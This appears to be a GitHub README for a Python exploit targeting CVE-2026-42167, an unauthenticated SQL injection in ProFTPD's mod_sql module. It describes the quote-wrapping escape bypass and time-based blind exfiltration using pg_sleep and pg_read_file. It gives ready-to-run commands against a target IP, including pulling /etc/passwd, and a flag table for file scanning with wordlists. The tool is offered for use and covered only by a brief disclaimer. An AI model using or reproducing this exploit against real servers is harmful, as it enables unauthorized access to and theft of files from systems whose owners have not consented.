efeanilarslan/cve-2026-42167-exploitPython exploit for CVE-2026-42167 (ProFTPD mod_sql). Features automated file scanning and timing-based blind data exfiltration.
A professional security research tool for exploiting the CVE-2026-42167 vulnerability in ProFTPD's mod_sql module. This tool performs unauthenticated SQL injection to exfiltrate sensitive files from the server via time-based side-channel attacks.
"Note: The efficiency of this tool depends on the PostgreSQL user's permissions and network stability."
CVE-2026-42167 is a critical logical flaw in the is_escaped_text() function of ProFTPD. When mod_sql is configured to log USER commands, an attacker can bypass SQL escaping by providing an input that starts and ends with a single quote ('). This tool leverages this bypass to execute PostgreSQL-specific commands.
USER logging is enabled.pg_sleep() and pg_read_file() for reliable exploitation./**/) to bypass space-filtering mechanisms.git clone https://github.com/efeanilarslan/CVE-2026-42167-Exploit
cd CVE-2026-42167-Exploit
pip install -r requirements.txt # (No external dependencies required)
python3 proftpd_master_exploit.py -t <TARGET_IP> -p 2121
python3 proftpd_master_exploit.py -t <TARGET_IP> -f /etc/passwd
python3 proftpd_master_exploit.py -t <TARGET_IP> -w common.txt -s 1.5
| Flag | Description | Default |
|---|---|---|
-t | Target IP address | Required |
-p | Target FTP port | 2121 |
-s | Sleep duration for timing attack | 2.0s |
-w | Wordlist for file discovery | None |
-f | Specific file path to exfiltrate | None |
This tool is for educational purposes and authorized security testing only. The developer is not responsible for any misuse or damage caused by this program. Use responsibly.